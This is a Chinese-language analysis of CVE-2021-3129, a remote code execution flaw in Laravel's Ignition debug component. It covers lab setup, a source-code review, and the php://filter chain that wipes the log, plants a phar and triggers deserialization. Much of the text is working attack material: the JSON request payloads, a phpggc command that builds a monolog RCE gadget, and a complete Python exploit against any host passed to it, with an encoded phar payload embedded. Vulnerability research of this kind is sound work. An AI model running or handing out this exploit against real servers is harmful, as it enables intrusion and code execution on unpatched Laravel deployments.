CVE-2021-3129 Laravel远程代码执行漏洞 漏洞详情 Laravel是一套简洁、开源的PHP Web开发框架,旨在实现Web软件的MVC架构。
当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。
影响范围 Laravel <= 8.4.2
Ignition <2.5.2
漏洞环境 使用GitHub上已有现成的docker环境搭建
1 2 3 git clone https://github.com/SNCKER/CVE-2021 -3129 cd CVE-2021 -3129 / docker-compose up -d
访问http://192.168.130.128:8888
出现此页面说明环境搭建完成。
同时我们需要下载漏洞利用所需的phpggc
1 2 git clone https ://github.com/ambionics/phpggc.git chmod 777 phpggc/
漏洞复现 以 Ignition 2.5.1 源代码审计。漏洞其实就发生在Ignition(<=2.5.1)中
在功能解析的文章中,我们知道 Igniton 有很多建议的解决方案,这对应着源码中的 Solutions
:
在我们配置环境过程中出现的generate app key
也源自于它。点击按钮后会发送一个请求,也就是通过这个请求Ignition成功在配置文件中生成了一个key。
通过这些solutions,开发者可以通过点击按钮的方式,快速修复一些错误。
本次漏洞就是其中的vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php
过滤不严谨导致的。
漏洞分析 首先我们到执行solution的控制器当中去,看看是如何调用到solution的
1 \s rc\H ttp\C ontrollers\E xecuteSolutionController.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php namespace Facade \Ignition \Http \Controllers ;use Facade \Ignition \Http \Requests \ExecuteSolutionRequest ;use Facade \IgnitionContracts \SolutionProviderRepository ;use Illuminate \Foundation \Validation \ValidatesRequests ;class ExecuteSolutionController { use ValidatesRequests ; public function __invoke ( ExecuteSolutionRequest $request, SolutionProviderRepository $solutionProviderRepository ) { $solution = $request->getRunnableSolution(); $solution->run($request->get('parameters' , [])); return response('' ); } }
接着调用solution对象中的run()
方法,并将可控的parameters
参数传过去。通过这个点我们可以调用到MakeViewVariableOptionalSolution::run()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <?php namespace Facade \Ignition \Solutions ;use Facade \IgnitionContracts \RunnableSolution ;use Illuminate \Support \Facades \Blade ;class MakeViewVariableOptionalSolution implements RunnableSolution { ... ... public function run (array $parameters = []) { $output = $this ->makeOptional($parameters); if ($output !== false ) { file_put_contents($parameters['viewFile' ], $output); } } public function makeOptional (array $parameters = []) { $originalContents = file_get_contents($parameters['viewFile' ]); $newContents = str_replace('$' .$parameters['variableName' ], '$' .$parameters['variableName' ]." ?? ''" , $originalContents); $originalTokens = token_get_all(Blade::compileString($originalContents)); $newTokens = token_get_all(Blade::compileString($newContents)); $expectedTokens = $this ->generateExpectedTokens($originalTokens, $parameters['variableName' ]); if ($expectedTokens !== $newTokens) { return false ; } return $newContents; } protected function generateExpectedTokens (array $originalTokens, string $variableName) : array { $expectedTokens = []; foreach ($originalTokens as $token) { $expectedTokens[] = $token; if ($token[0 ] === T_VARIABLE && $token[1 ] === '$' .$variableName) { $expectedTokens[] = [T_WHITESPACE, ' ' , $token[2 ]]; $expectedTokens[] = [T_COALESCE, '??' , $token[2 ]]; $expectedTokens[] = [T_WHITESPACE, ' ' , $token[2 ]]; $expectedTokens[] = [T_CONSTANT_ENCAPSED_STRING, "''" , $token[2 ]]; } } return $expectedTokens; } }
根据这段代码可以观察出这里的主要功能点是:读取一个给定的路径,并替换$variableName
为$variableName ?? ''
,之后写回文件中。
因为这里调用了file_get_contents()
,且其中的参数可控。通过 phar://
伪协议解析 phar 文件时,会将 meta-data 进行反序列化,我们或许可以利用它来 RCE。
原文作者给出了一种基于框架触发phar反序列化的方法:将log文件变成合法的phar文件。
我们的目的是要找合适的文件写入,之前的情况是使用了未知变量,但因为 variableName
修改文件内容前有严格验证,我们并不能利用它,也不能从页面得到任何有效信息,已存在的文件同理。
那么,最后的选项便是日志文件了。
log 转 phar Laravel 使用 Monolog 库为各种强大的日志处理程序提供支持,config/app.php
配置文件的 debug
选项决定了是否向用户显示错误信息。默认情况下,此选项设置为获取存储在 .env
文件中的 APP_DEBUG 环境变量的值,默认的 Laravel 日志记录在一个文件 storage/logs/laravel.log
。
清空log文件 作者在文章中提出了使用php://filter
中的convert.base64-decode
过滤器的特性,将log清空。
可以看到convert.base64-decode
过滤器会将一些非base64字符给过滤掉后再进行decode
,所以可以通过调用多次convert.base64-decode
多次触发该特性来将log清空。
但是这样做其实会出现一些非预期的问题
如果在某次decode时,=号后面出现了别的base64字符,那么php是会报一个Warning的。且由于laravel开启了debug模式,所以会触发Ignition
生成错误页面,导致decode后的字符没有成功写入。
根据这个思路的原理,我们可以将清空日志分成两个步骤:
使log文件尽量变成非base64字符
通过convert.base64-decode
将所有非base64字符decode,达到清空的目的
作者在第一步使用的方法为多次convert.base64-decode,但是这样可能会在其中的某一环报上面提到的错误。所以我们可以想办法找到另外一种方式达到第一步的目的。
原log文件
1 2 3 4 5 6 7 8 9 10 [2021-04-10 14 :35:38] local.ERROR: file_get_contents(snovving): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0 ): file_get_contents(snovving): failed to open stream: No such file or directory at /src/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php:75) [stacktrace] ... "}
1、使用convert.iconv.utf-8.utf-16be
(UTF-8 -> UTF-16BE)
1 2 3 4 5 6 7 { "solution" :"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution" , "parameters" :{ "variableName" :"username" , "viewFile" :"php://filter/write=convert.iconv.utf-8.utf-16be/resource=../storage/logs/laravel.log" } }
2、使用convert.quoted-printable-encode
(打印所有不可见字符)
1 2 3 4 5 6 7 { "solution" :"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution" , "parameters" :{ "variableName" :"username" , "viewFile" :"php://filter/write=convert.quoted-printable-encode/resource=../storage/logs/laravel.log" } }
3、使用convert.iconv.utf-16be.utf-8
(UTF-16BE -> UTF-8)
1 2 3 4 5 6 7 { "solution" :"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution" , "parameters" :{ "variableName" :"username" , "viewFile" :"php://filter/write=convert.iconv.utf-16be.utf-8/resource=../storage/logs/laravel.log" } }
可以看到经过这样操作后log文件中所有字符变成了非base64字符,这时候再使用convert.base64-decode
过滤器就可以成功清空了。
1 2 3 4 5 6 7 { "solution" :"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution" , "parameters" :{ "variableName" :"username" , "viewFile" :"php://filter/write=convert.base64-decode/resource=../storage/logs/laravel.log" } }
将上述链条和起来就是
1 php://filter /write =convert .iconv.utf-8. utf-16 be|convert .quoted-printable-encode|convert .iconv.utf-16 be.utf-8 |convert .base64-decode/resource=../storage/logs/laravel.log
这样我们就完成了第一步。
写入符合规范的phar文件 我们可以通过这里的file_get_contents()
去触发日志的记录
通过观察,我们可以发现log文件的格式其实是下面这样子的
1 [时间] [某些字符] PAYLOAD [某些字符] PAYLOAD [某些字符] 部分PAYLOAD [某些字符]
我们的PAYLOAD会在log文件中完整出现两次,我们最终需要让log文件变成我们的恶意Phar文件。所以我们还得继续对log文件进行操作。
原作者给出了一种使用convert.iconv.utf-16le.utf-8
将utf-16转成utf-8的方案
但是这里出现了两次PAYLOAD,我们可以在PAYLOAD后面添加一个字符,使得utf-16转成utf-8时总有一个PAYLOAD能被转换出来。
这样子就是我们预期的效果,因为除了PAYLOAD的部分都是非base64字符,只要我们将PAYLOAD进行base64编码后再decode即可把非base64字符消除掉。
但是这么做还会有一个问题,就是在file_get_contents()传入\00的时候php会报一个Warning,同样会触发Debug页面的报错。所以还得想办法将空字节(\00)写入到log中。
好在php为了将不可见字符打印出来,给出了一个convert.quoted-printable-encode
过滤器
原理就是将字符转成ascii后前面加个=号,将其打印出来。
而与之对应的convert.quoted-printable-decode
过滤器,则是相反。
原理是将等于号后面的ascii字符解码后,打印出来。
所以我们可以使用=00代替\00传入到file_get_contents()中
所以完整和起来就是如下这样
1 2 3 php > file_put_contents('test.txt',"[2021-04-11 11:26:54] asd =55 =00 =45 =00 =46 =00 =5A =00 =54 =00 =45 =00 =39 =00 =42 =00 =52 =00 =41 =00 =3D =00 =3D =00a asda =55 =00 =45 =00 =46 =00 =5A =00 =45 =00 =39 =00 =42 =00 =52 =00 =41 =00 =3D =00 =3D =00a asd") ; php > echo file_get_contents('php://filter/read =convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource =test.txt') ; PAYLOAD
这样就可以成功过滤掉其他干扰字符,将PAYLOAD送到log文件中。
写入 我们先来尝试写入一些普通字符
清空log文件 1 2 3 4 5 6 7 { "solution" :"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution" , "parameters" :{ "variableName" :"username" , "viewFile" :"php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log" } }
给log添加一条前缀
将需要写入的字符编码
将编码后的字符写入到log中 1 viewFile: =55 =00 =45 =00 =46 =00 =5 A=00 =54 =00 =45 =00 =39 =00 =42 =00 =52 =00 =41 =00 =3 D=00 =3 D=00
清空干扰字符 1 viewFile: php://filter /write =convert .quoted-printable-decode|convert .iconv.utf-16 le.utf-8 |convert .base64-decode/resource=../storage/logs/laravel.log
成功写入了任意字符,log文件的内容我们可控了。
漏洞利用 1、编码构造,需要在 phpggc 目录中运行
1 php -d'phar.readonly=0' ./phpggc monolog/ rce1 call_user_func phpinfo --phar phar -o php:
再将该base64编码后的字符进行convert.quoted-printable-encode
编码
2、清空 log 文件:
1 viewFile: php://filter /read =consumed/resource=../storage /logs/laravel.log
3、将第一步构造好的 payload 发送:
1 =50 =00 =44 =00 =39 =00 =77 =00 =61 =00 =48 =00 =41. ..=00 =43 =00 =54 =00 =55 =00 =49 =00 =3 D=00
4、转换文件,清空干扰字符只留下我们生成的payload:
1 viewFile: php://filter /write =convert .quoted-printable-decode|convert .iconv.utf-16 le.utf-8 |convert .base64-decode/resource=../storage/logs/laravel.log
注意转换文件这步一定要无返回信息,如果有错误,说明前几步没能成功。
此时的 log 文件一定只有一条完整的 payload ,也就是纯净的 phar 文件:
5、触发phar反序列化伪协议:
1 viewFile: phar:// ../storage/ logs/laravel.log/ test.txt
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 #! -*- coding:utf-8 -*- import sys import requests import re class Poc: def clear_log(self,schema, host, port): base_url = "{}://{}:{}".format(schema, host, port) path="/_ignition/execute-solution" req_url="{}{}".format(base_url,path) payload=''' { "solution": "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "username", "viewFile": "php://filter/write=convert.iconv.utf-8 .utf-16 be|convert.quoted-printable-encode|convert.iconv.utf-16 be.utf-8 |convert.base64-decode/resource=../storage/logs/laravel.log" } } ''' _headers ={ "Content-Type":"application/json" } resp = requests.post(req_url,data=payload, headers=_headers, allow_redirects=False) return resp.status_code def add_prefix(self,schema, host, port): base_url = "{}://{}:{}".format(schema, host, port) path = "/_ignition/execute-solution" req_url = "{}{}".format(base_url, path) payload = ''' { "solution": "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "username", "viewFile": "AA" } } ''' _headers ={ "Content-Type": "application/json" } resp = requests.post(req_url, data=payload, headers=_headers, allow_redirects=False) return resp.text def send_payload(self,schema, host, port): base_url = "{}://{}:{}".format(schema, host, port) path = "/_ignition/execute-solution" req_url = "{}{}".format(base_url, path) payload = ''' { "solution": "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "username", "viewFile": "=50=00=44=00 =39=00=77=00 =61=00=48=00 =41=00=67=00 =58=00=31=00 =39=00=49=00 =51=00=55=00 =78=00=55=00 =58=00=30=00 =4 E=00=50=00=54 =00=56=00=42 =00 =4 A =00=54=00=45 =00=56=00=53 =00 =4 B=00 =43 =00 =6 B=00=37=00=49 =00=44=00=38 =00 =2 B=00=44=00=51 =00=71=00=39 =00=41=00=67 =00=41=00=41 =00=41=00=67 =00=41=00=41 =00=41=00=42 =00=45=00=41 =00=41=00=41 =00=41=00=42 =00=41=00=41 =00=41=00=41 =00=41=00=41 =00 =42 =00 =6 D=00=41=00=67 =00=41=00=41 =00 =54 =00 =7 A =00 =6 F=00 =7 A =00 =4 D=00 =6 A =00 =6 F=00=69=00=54 =00=57=00=39 =00=75=00=62 =00=32=00=78 =00 =76 =00 =5 A =00=31=00=78 =00=49=00=59 =00=57=00=35 =00 =6 B=00=62=00=47 =00=56=00=79 =00=58=00=46 =00 =4 E=00=35=00=63 =00=32=00=78 =00 =76 =00 =5 A =00=31=00=56 =00 =6 B=00=63=00=45 =00=68=00=68 =00 =62 =00 =6 D=00=52=00=73 =00 =5 A =00=58=00=49 =00 =69 =00 =4 F=00 =6 A =00=45=00=36 =00=65=00=33 =00 =4 D=00 =36 =00 =4 F=00 =54 =00 =6 F=00=69=00=41 =00 =43 =00 =6 F=00=41=00=63 =00=32=00=39 =00 =6 A =00=61=00=32 =00=56=00=30 =00 =49 =00 =6 A =00=74=00=50 =00 =4 F=00 =6 A =00=49=00=35 =00 =4 F=00 =69 =00 =4 A =00 =4 E=00=62=00=32 =00=35=00=76 =00=62=00=47 =00 =39 =00 =6 E=00=58=00=45 =00=68=00=68 =00 =62 =00 =6 D=00=52=00=73 =00 =5 A =00 =58 =00 =4 A =00=63=00=51 =00 =6 E=00 =56 =00 =6 D=00 =5 A =00 =6 D=00=56=00=79 =00=53=00=47 =00=46=00=75 =00 =5 A =00=47=00=78 =00 =6 C=00=63=00=69 =00=49=00=36 =00 =4 E=00 =7 A =00=70=00=37 =00 =63 =00 =7 A =00 =6 F=00 =78 =00 =4 D=00 =44 =00 =6 F=00=69=00=41 =00 =43 =00 =6 F=00=41=00=61 =00=47=00=46 =00 =75 =00 =5 A =00=47=00=78 =00 =6 C=00=63=00=69 =00=49=00=37 =00 =54 =00 =7 A =00 =6 F=00 =79 =00 =4 F=00 =54 =00 =6 F=00=69=00=54 =00=57=00=39 =00=75=00=62 =00=32=00=78 =00 =76 =00 =5 A =00=31=00=78 =00=49=00=59 =00=57=00=35 =00 =6 B=00=62=00=47 =00=56=00=79 =00=58=00=45 =00 =4 A =00 =31 =00 =5 A =00 =6 D=00 =5 A =00 =6 C=00 =63 =00 =6 B=00=68=00=68 =00 =62 =00 =6 D=00=52=00=73 =00 =5 A =00=58=00=49 =00 =69 =00 =4 F=00 =6 A =00=63=00=36 =00=65=00=33 =00 =4 D=00 =36 =00 =4 D=00=54=00=41 =00=36=00=49 =00=67=00=41 =00=71=00=41 =00=47=00=68 =00=68=00=62 =00 =6 D=00=52=00=73 =00 =5 A =00=58=00=49 =00 =69 =00 =4 F=00=30=00=34 =00=37=00=63 =00 =7 A =00 =6 F=00 =78 =00 =4 D=00 =7 A =00 =6 F=00=69=00=41 =00 =43 =00 =6 F=00=41=00=59 =00 =6 E=00 =56 =00 =6 D=00 =5 A =00 =6 D=00=56=00=79 =00=55=00=32 =00 =6 C=00 =36 =00 =5 A =00=53=00=49 =00=37=00=61 =00 =54 =00 =6 F=00 =74 =00 =4 D=00=54=00=74 =00 =7 A =00 =4 F=00 =6 A =00 =6 B=00=36=00=49 =00=67=00=41 =00=71=00=41 =00 =47 =00 =4 A =00 =31 =00 =5 A =00 =6 D=00 =5 A =00 =6 C=00=63=00=69 =00=49=00=37 =00=59=00=54 =00 =6 F=00 =78 =00 =4 F=00 =6 E=00=74=00=70 =00 =4 F=00 =6 A =00=41=00=37 =00=59=00=54 =00 =6 F=00 =79 =00 =4 F=00 =6 E=00=74=00=70 =00 =4 F=00 =6 A =00=41=00=37 =00 =63 =00 =7 A =00 =6 F=00 =79 =00 =4 F=00 =69 =00 =4 A =00 =70 =00 =5 A =00=43=00=49 =00=37=00=63 =00 =7 A =00 =6 F=00 =31 =00 =4 F=00 =69 =00 =4 A =00 =73 =00 =5 A =00 =58 =00 =5 A =00 =6 C=00=62=00=43 =00=49=00=37 =00 =54 =00 =6 A =00=74=00=39 =00=66=00=58 =00 =4 D=00 =36 =00 =4 F=00 =44 =00 =6 F=00=69=00=41 =00 =43 =00 =6 F=00=41=00=62 =00=47=00=56 =00 =32 =00 =5 A =00=57=00=77 =00 =69 =00 =4 F=00=30=00=34 =00=37=00=63 =00 =7 A =00 =6 F=00 =78 =00 =4 E=00 =44 =00 =6 F=00=69=00=41 =00 =43 =00 =6 F=00=41=00=61 =00=57=00=35 =00=70=00=64 =00 =47 =00 =6 C=00=68=00=62 =00 =47 =00 =6 C=00 =36 =00 =5 A =00=57=00=51 =00 =69 =00 =4 F=00=32=00=49 =00 =36 =00 =4 D=00=54=00=74 =00 =7 A =00 =4 F=00 =6 A =00=45=00=30 =00 =4 F=00=69=00=49 =00 =41 =00 =4 B=00=67=00=42 =00=69=00=64 =00 =57 =00 =5 A =00 =6 D=00 =5 A =00 =58 =00 =4 A =00 =4 D=00=61=00=57 =00=31=00=70 =00=64=00=43 =00=49=00=37 =00=61=00=54 =00 =6 F=00 =74 =00 =4 D=00=54=00=74 =00 =7 A =00 =4 F=00 =6 A =00 =45 =00 =7 A =00 =4 F=00=69=00=49 =00 =41 =00 =4 B=00=67=00=42 =00=77=00=63 =00 =6 D=00 =39 =00 =6 A =00 =5 A =00 =58 =00 =4 E=00 =7 A =00=62=00=33 =00 =4 A =00 =7 A =00 =49 =00 =6 A =00=74=00=68 =00 =4 F=00 =6 A =00=49=00=36 =00=65=00=32 =00 =6 B=00 =36 =00 =4 D=00=44=00=74 =00 =7 A =00 =4 F=00 =6 A =00=63=00=36 =00 =49 =00 =6 D=00 =4 E=00=31=00=63 =00 =6 E=00 =4 A =00 =6 C=00 =62 =00 =6 E=00=51=00=69 =00 =4 F=00 =32 =00 =6 B=00 =36 =00 =4 D=00=54=00=74 =00 =7 A =00 =4 F=00 =6 A =00=59=00=36 =00 =49 =00 =6 E=00 =4 E=00=35=00=63 =00=33=00=52 =00 =6 C=00=62=00=53 =00=49=00=37 =00=66=00=58 =00 =31 =00 =7 A =00 =4 F=00 =6 A =00 =45 =00 =7 A =00 =4 F=00=69=00=49 =00 =41 =00 =4 B=00=67=00=42 =00=69=00=64 =00 =57 =00 =5 A =00 =6 D=00 =5 A =00 =58 =00 =4 A =00=54=00=61 =00=58=00=70 =00 =6 C=00 =49 =00 =6 A =00=74=00=70 =00 =4 F=00=69=00=30 =00 =78 =00 =4 F=00 =33 =00 =4 D=00 =36 =00 =4 F=00 =54 =00 =6 F=00=69=00=41 =00 =43 =00 =6 F=00=41=00=59 =00 =6 E=00 =56 =00 =6 D=00 =5 A =00 =6 D=00=56=00=79 =00 =49 =00 =6 A =00=74=00=68 =00 =4 F=00 =6 A =00=45=00=36 =00=65=00=32 =00 =6 B=00 =36 =00 =4 D=00=44=00=74 =00 =68 =00 =4 F=00 =6 A =00=49=00=36 =00=65=00=32 =00 =6 B=00 =36 =00 =4 D=00=44=00=74 =00 =7 A =00 =4 F=00 =6 A =00=49=00=36 =00 =49 =00 =6 D=00 =6 C=00 =6 B=00 =49 =00 =6 A =00 =74 =00 =7 A =00 =4 F=00 =6 A =00=55=00=36 =00 =49 =00 =6 D=00 =78 =00 =6 C=00 =64 =00 =6 D=00=56=00=73 =00 =49 =00 =6 A =00 =74 =00 =4 F=00 =4 F=00=33=00=31 =00=39=00=63 =00 =7 A =00 =6 F=00 =34 =00 =4 F=00=69=00=49 =00 =41 =00 =4 B=00=67=00=42 =00 =73 =00 =5 A =00 =58 =00 =5 A =00 =6 C=00=62=00=43 =00=49=00=37 =00 =54 =00 =6 A =00 =74 =00 =7 A =00 =4 F=00 =6 A =00=45=00=30 =00 =4 F=00=69=00=49 =00 =41 =00 =4 B=00=67=00=42 =00=70=00=62 =00 =6 D=00 =6 C=00=30=00=61 =00=57=00=46 =00=73=00=61 =00=58=00=70 =00 =6 C=00 =5 A =00=43=00=49 =00=37=00=59 =00 =6 A =00 =6 F=00 =78 =00 =4 F=00 =33 =00 =4 D=00 =36 =00 =4 D=00=54=00=51 =00=36=00=49 =00=67=00=41 =00=71=00=41 =00 =47 =00 =4 A =00 =31 =00 =5 A =00 =6 D=00 =5 A =00 =6 C=00 =63 =00 =6 B=00=78=00=70 =00=62=00=57 =00 =6 C=00=30=00=49 =00 =6 A =00=74=00=70 =00 =4 F=00=69=00=30 =00 =78 =00 =4 F=00 =33 =00 =4 D=00 =36 =00 =4 D=00 =54 =00 =4 D=00=36=00=49 =00=67=00=41 =00=71=00=41 =00=48=00=42 =00=79=00=62 =00 =32 =00 =4 E=00 =6 C=00=63=00=33 =00 =4 E=00=76=00=63 =00 =6 E=00 =4 D=00 =69 =00 =4 F=00=32=00=45 =00 =36 =00 =4 D=00 =6 A =00=70=00=37 =00=61=00=54 =00 =6 F=00 =77 =00 =4 F=00 =33 =00 =4 D=00 =36 =00 =4 E=00 =7 A =00 =6 F=00=69=00=59 =00=33=00=56 =00=79=00=63 =00 =6 D=00=56=00=75 =00=64=00=43 =00=49=00=37 =00=61=00=54 =00 =6 F=00 =78 =00 =4 F=00 =33 =00 =4 D=00 =36 =00 =4 E=00 =6 A =00 =6 F=00=69=00=63 =00 =33 =00 =6 C=00 =7 A =00=64=00=47 =00=56=00=74 =00 =49 =00 =6 A =00=74=00=39 =00=66=00=58 =00=30=00=46 =00=41=00=41 =00=41=00=41 =00 =5 A =00=48=00=56 =00=74=00=62 =00 =58 =00 =6 B=00=45=00=41 =00=41=00=41 =00=41=00=47 =00=47=00=63 =00=49=00=59 =00=41=00=51 =00=41=00=41 =00=41=00=41 =00 =4 D=00 =66 =00 =6 E=00 =2 F=00=59=00=70 =00=41=00=45 =00=41=00=41 =00=41=00=41 =00=41=00=41 =00=41=00=41 =00=49=00=41 =00=41=00=41 =00=41=00=64 =00=47=00=56 =00 =7 A =00=64=00=43 =00=35=00=30 =00=65=00=48 =00=51=00=45 =00=41=00=41 =00=41=00=41 =00=47=00=47 =00=63=00=49 =00=59=00=41 =00=51=00=41 =00=41=00=41 =00 =41 =00 =4 D=00 =66 =00 =6 E=00 =2 F=00=59=00=70 =00=41=00=45 =00=41=00=41 =00=41=00=41 =00=41=00=41 =00=41=00=42 =00 =30 =00 =5 A =00 =58 =00 =4 E=00=30=00=64 =00=47=00=56 =00 =7 A =00=64=00=46 =00=75=00=79 =00=53=00=68 =00=78=00=45 =00 =4 F=00 =52 =00 =4 C=00=32=00=32 =00=52=00=68 =00 =4 D=00 =5 A =00 =47 =00 =4 A =00=66=00=69 =00 =32 =00 =6 F=00 =6 A =00 =4 F=00 =4 E=00=33=00=33 =00=41=00=67 =00=41=00=41 =00=41=00=45 =00=64=00=43 =00=54=00=55 =00 =49 =00 =3 D=00 a" } } ''' _headers = { "Content-Type": "application/json" } resp = requests.post(req_url, data=payload, headers=_headers, allow_redirects=False) return resp.text def restore_payload(self,schema, host, port): base_url = "{}://{}:{}".format(schema, host, port) path = "/_ignition/execute-solution" req_url = "{}{}".format(base_url, path) payload =''' { "solution": "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "username", "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16 le.utf-8 |convert.base64-decode/resource=../storage/logs/laravel.log" } } ''' _headers = { "Content-Type": "application/json" } resp = requests.post(req_url, data=payload, headers=_headers, allow_redirects=False) return resp.status_code def phar_unserialize(self,schema, host, port): base_url = "{}://{}:{}".format(schema, host, port) path = "/_ignition/execute-solution" req_url = "{}{}".format(base_url, path) payload = ''' { "solution": "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "username", "viewFile": "phar://../storage/logs/laravel.log/test.txt" } } ''' _headers = { "Content-Type": "application/json" } resp = requests.post(req_url, data=payload, headers=_headers, allow_redirects=False) return resp.text def crack(self, schema, host, port): for i in range(3 ): if self.clear_log(schema, host, port)==200 : print("laravel log cleard") self.add_prefix(schema, host, port) self.send_payload(schema, host, port) if self.restore_payload(schema, host, port)==200 : print("successfully converted to phar") resp_text=self.phar_unserialize(schema, host, port) if "uid=" in resp_text and "gid=" in resp_text: print("phar unserialize") print(resp_text.split("\n")[-2 ]) break else: print("converted to phar fails") else: print("laravel log clear fails") if __name__ == "__main__": poc = Poc() poc.crack(sys.argv[1 ], sys.argv[2 ], sys.argv[3 ])
直接利用EXP:
最后小结 经过上面的漏洞分析,我们知道我们可以通过file_put_contents()
写入任意数据至 log 文件,然后经 file_get_contents()
读回
phar 反序列化 RCE (https://paper.seebug.org/680/ )
php://filter 多个过滤器配合妙用 (https://www.leavesongs.com )